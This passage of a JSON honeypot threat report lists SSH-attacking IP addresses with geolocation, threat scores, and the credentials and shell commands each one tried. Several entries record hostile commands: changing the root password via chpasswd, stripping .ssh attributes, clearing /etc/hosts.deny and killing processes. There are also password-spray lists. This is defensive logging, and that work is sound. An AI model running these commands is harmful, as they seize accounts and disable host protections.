        "Suricata": 2
      }
    },
    "5.29.176.255": {
      "attack_count": 2,
      "first_seen": "2026-05-28T22:41:28.532Z",
      "last_seen": "2026-05-28T22:41:41.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Kfar Saba",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:41:28.532000+00:00",
        "last_seen_30d": "2026-05-28T22:42:51.007000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.3.19.160": {
      "attack_count": 2,
      "first_seen": "2026-05-19T10:03:29.499Z",
      "last_seen": "2026-05-19T10:04:30.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 51570,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:03:29.499000+00:00",
        "last_seen_30d": "2026-05-19T10:05:39.898000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.52.107.24": {
      "attack_count": 2,
      "first_seen": "2026-05-24T12:22:54.762Z",
      "last_seen": "2026-05-24T12:23:08.417Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:22:54.762000+00:00",
        "last_seen_30d": "2026-05-24T12:24:10.324000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.186.25.112": {
      "attack_count": 2,
      "first_seen": "2026-05-18T08:34:38.495Z",
      "last_seen": "2026-05-18T08:34:51.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:34:38.495000+00:00",
        "last_seen_30d": "2026-05-18T08:35:56.172000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.175.158.208": {
      "attack_count": 2,
      "first_seen": "2026-05-02T13:30:31.793Z",
      "last_seen": "2026-05-02T13:30:44.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:30:31.793000+00:00",
        "last_seen_30d": "2026-05-02T13:31:54.796000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.189.233.200": {
      "attack_count": 2,
      "first_seen": "2026-05-02T21:43:25.569Z",
      "last_seen": "2026-05-02T21:45:25.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Woodford Green",
      "asn": 6871,
      "as_org": "British Telecommunications PLC",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:43:25.569000+00:00",
        "last_seen_30d": "2026-05-02T21:56:11.176000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "81.71.153.211": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:25:34.510Z",
      "last_seen": "2026-05-15T04:25:34.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:25:34.510000+00:00",
        "last_seen_30d": "2026-05-15T04:26:39.769000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.106.40.97": {
      "attack_count": 2,
      "first_seen": "2026-05-25T08:08:15.106Z",
      "last_seen": "2026-05-25T08:10:15.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 58322,
      "as_org": "Hala Al Rafidain Company for Communications and Internet LTD.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:08:15.106000+00:00",
        "last_seen_30d": "2026-05-25T08:20:58.978000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.80.154.155": {
      "attack_count": 2,
      "first_seen": "2026-05-19T23:41:06.080Z",
      "last_seen": "2026-05-19T23:41:19.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "San Giustino Valdarno",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:41:06.080000+00:00",
        "last_seen_30d": "2026-05-19T23:42:27.993000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.188.83.96": {
      "attack_count": 16450,
      "first_seen": "2026-05-09T22:33:27.223Z",
      "last_seen": "2026-05-10T00:41:01.382Z",
      "sessions": 3300,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".adgj",
        "000000000000000",
        "000005",
        "000012",
        "0001",
        "001234",
        "00123456",
        "001973",
        "001975",
        "010102",
        "01011970",
        "01011971",
        "01011976",
        "01012000",
        "01012006",
        "01012008",
        "01021987",
        "010284",
        "010288",
        "010289"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 23048,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T22:33:27+00:00",
        "last_seen_30d": "2026-05-20T14:42:12.378000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16450,
        "Suricata": 6597,
        "Honeytrap": 1
      }
    },
    "197.242.156.86": {
      "attack_count": 1772,
      "first_seen": "2026-05-02T04:42:55.266Z",
      "last_seen": "2026-05-02T05:07:07.739Z",
      "sessions": 886,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2664,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:42:55.266000+00:00",
        "last_seen_30d": "2026-05-02T05:17:08.118000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1772,
        "Suricata": 892
      }
    },
    "177.126.132.44": {
      "attack_count": 971,
      "first_seen": "2026-05-27T19:53:32.693Z",
      "last_seen": "2026-05-27T21:45:05.584Z",
      "sessions": 192,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "es",
        "admin",
        "app",
        "gitlab",
        "guest",
        "dev",
        "dolphinscheduler",
        "esuser",
        "ftp",
        "ftpuser",
        "hadoop",
        "nginx",
        "oscar",
        "postgres",
        "test",
        "user",
        "apache",
        "centos"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "!QAZ@WSX",
        "111111",
        "12345678",
        "1qaz@WSX",
        "password",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!qaz@WSX",
        "123321",
        "1234",
        "12345",
        "123456789",
        "1234567890",
        "1234qwer",
        "123qwe"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Artur Nogueira",
      "asn": 262343,
      "as_org": "Net Aki Internet Ltda",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T19:53:32.693000+00:00",
        "last_seen_30d": "2026-05-27T21:46:12.062000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 971,
        "Suricata": 430
      }
    },
    "49.51.200.156": {
      "attack_count": 609,
      "first_seen": "2026-05-17T11:50:03.660Z",
      "last_seen": "2026-05-17T12:44:41.362Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "es",
        "sangoma"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t",
        "!QAZ2wsx3edc$RFV",
        "$*%$@^@^(%^*#",
        "11223311",
        "12345",
        "12345!",
        "123qaz!@#",
        "1qazse4",
        "Abc@111111",
        "Cq123456",
        "Hy@123456",
        "Itsemoemo2025@Washere2025",
        "Kt@123456",
        "Passwort123",
        "Ql123456",
        "Qwe123456.",
        "Qweqwe123",
        "a1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"postgres@123\\nKFEsML1iwquw\\nKFEsML1iwquw\\n\"|passwd",
        "echo \"root:8W7IqfPJgmUC\"|chpasswd|bash",
        "echo \"root:Stk1GIlKxO0j\"|chpasswd|bash",
        "echo \"root:nv6d1vgfCElY\"|chpasswd|bash",
        "echo \"root:vH8VcaIfEXbC\"|chpasswd|bash",
        "echo \"root:xVpIjO0DezuZ\"|chpasswd|bash",
        "echo -e \"postgres@123\\nKFEsML1iwquw\\nKFEsML1iwquw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 723,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:50:03.660000+00:00",
        "last_seen_30d": "2026-05-17T12:45:45.186000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 609,
        "Suricata": 114
      }
    },
    "76.127.61.251": {
      "attack_count": 576,
      "first_seen": "2026-05-03T13:31:59.824Z",
      "last_seen": "2026-05-10T23:38:19.110Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "345gs5662d34",
        "root",
        "odoo",
        "oracle",
        "administrator",
        "test",
        "asterisk",
        "azureuser",
        "dbuser",
        "ftp_user",
        "ftpuser",
        "ftpuser1",
        "guest",
        "mysqladmin",
        "mytest",
        "nico",
        "postgres",
        "postgresql"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "root",
        "1234567",
        "password",
        "test123",
        "!qaz2wsx3edc",
        "1",
        "123.com",
        "123456@qwe",
        "123456Xx",
        "123@abc",
        "741852963",
        "Aa123456",
        "Huawei@123",
        "P@ssword1!",
        "Password.1",
        "Password1!",
        "Password@2025",
        "Qweasd123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123@abc\\nyaYGDP9cWENV\\nyaYGDP9cWENV\\n\"|passwd",
        "echo \"Huawei@123\\npGuoQ5WVLAqZ\\npGuoQ5WVLAqZ\\n\"|passwd",
        "echo \"odoo\\nAA7zqImI7aIV\\nAA7zqImI7aIV\\n\"|passwd",
        "echo \"ubuntu12\\nSwkeU4EnlHYm\\nSwkeU4EnlHYm\\n\"|passwd",
        "echo -e \"123@abc\\nyaYGDP9cWENV\\nyaYGDP9cWENV\"|passwd|bash",
        "echo -e \"Huawei@123\\npGuoQ5WVLAqZ\\npGuoQ5WVLAqZ\"|passwd|bash",
        "echo -e \"odoo\\nAA7zqImI7aIV\\nAA7zqImI7aIV\"|passwd|bash",
        "echo -e \"ubuntu12\\nSwkeU4EnlHYm\\nSwkeU4EnlHYm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Fe",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 723,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:31:59.824000+00:00",
        "last_seen_30d": "2026-05-10T23:39:19.854000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 576,
        "Suricata": 147
      }
    },
    "45.196.165.49": {
      "attack_count": 438,
      "first_seen": "2026-05-09T16:41:50.024Z",
      "last_seen": "2026-05-10T18:16:57.133Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "test",
        "ftpuser",
        "user",
        "345gs5662d34",
        "oracle",
        "postgres",
        "smbuser",
        "test2",
        "tester",
        "admin123",
        "adminuser",
        "deploy",
        "develop",
        "developer",
        "gitlab-runner",
        "kafka",
        "mcserver"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1111",
        "111222",
        "123",
        "123123",
        "12340",
        "1234567",
        "1234567a",
        "123qwe...",
        "1q2w3e4r.",
        "1qaz",
        "1qaz!QAZ",
        "2test",
        "Admin123456",
        "P@ssw0rd",
        "PASS",
        "Password!1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12340\\nkfwQXIn6vcsA\\nkfwQXIn6vcsA\\n\"|passwd",
        "echo \"user@2024\\n8dyBnv92gZIM\\n8dyBnv92gZIM\\n\"|passwd",
        "echo -e \"12340\\nkfwQXIn6vcsA\\nkfwQXIn6vcsA\"|passwd|bash",
        "echo -e \"user@2024\\n8dyBnv92gZIM\\n8dyBnv92gZIM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 54600,
      "as_org": "PEG TECH INC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 578,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:41:50.024000+00:00",
        "last_seen_30d": "2026-05-10T18:17:57.969000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 438,
        "Suricata": 140
      }
    },
    "198.98.55.71": {
      "attack_count": 430,
      "first_seen": "2026-05-09T11:58:24.753Z",
      "last_seen": "2026-05-23T15:09:19.901Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "vlc",
        "abc",
        "admin",
        "ansible",
        "ark",
        "db12c",
        "demo",
        "erp",
        "jb",
        "log",
        "mourad",
        "satisfactory",
        "steam",
        "sysadmin",
        "ubuntu",
        "vale"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%67890",
        "!@#$%^",
        "!@#123qweASD",
        "1",
        "100000",
        "112",
        "11223344",
        "123",
        "123!@#qaz",
        "1230123",
        "1234",
        "1234qwerASDF",
        "1q2w3e4r5t`",
        "7890uiop",
        "Abc.123",
        "Admin123123123",
        "Dev@123",
        "Pa$$w0rd@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\ntNSaf1b8BXCd\\ntNSaf1b8BXCd\\n\"|passwd",
        "echo \"root:VR3ONDvBBj81\"|chpasswd|bash",
        "echo \"root:szGdJe00liEN\"|chpasswd|bash",
        "echo -e \"1\\ntNSaf1b8BXCd\\ntNSaf1b8BXCd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 546,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:58:24.753000+00:00",
        "last_seen_30d": "2026-05-23T15:10:22.426000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 116
      }
    },
    "43.173.66.18": {
      "attack_count": 309,
      "first_seen": "2026-05-19T22:06:38.118Z",
      "last_seen": "2026-05-19T22:32:32.683Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789qq",
        "123abc!!!",
        "1qw23er4",
        "252569",
        "Huawei123!",
        "abhijit",
        "asterisk123",
        "buenavista",
        "claude",
        "freddy",
        "gilberto",
        "postgres321",
        "pulamea",
        "root321",
        "rsyncd",
        "sabrina",
        "soho",
        "tomas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:KDFpWEQZcxzX\"|chpasswd|bash",
        "echo \"root:qGmA3Ssu1lpF\"|chpasswd|bash",
        "echo \"root:tFrPibkGRwl7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 368,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:06:38.118000+00:00",
        "last_seen_30d": "2026-05-19T22:33:39.318000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 59
      }
    },
    "185.39.204.145": {
      "attack_count": 299,
      "first_seen": "2026-05-22T14:39:09.357Z",
      "last_seen": "2026-05-27T11:15:46.234Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "systemd",
        "user",
        "345gs5662d34",
        "deploy",
        "elastic",
        "ftpuser",
        "intel",
        "kizzy",
        "postgres",
        "ubuntu",
        "web"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "1",
        "123QWEqwe",
        "1q@W3e$R",
        "345gs5662d34",
        "Aa123456..",
        "Abcd1234",
        "Centos2025",
        "Master123!",
        "Qa123456",
        "Qazwsxedc1",
        "Voidsetdownload.so",
        "admin000@@@",
        "ali12345",
        "elastic",
        "ftp1234",
        "intel123",
        "kizzy",
        "qwe123",
        "speed@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
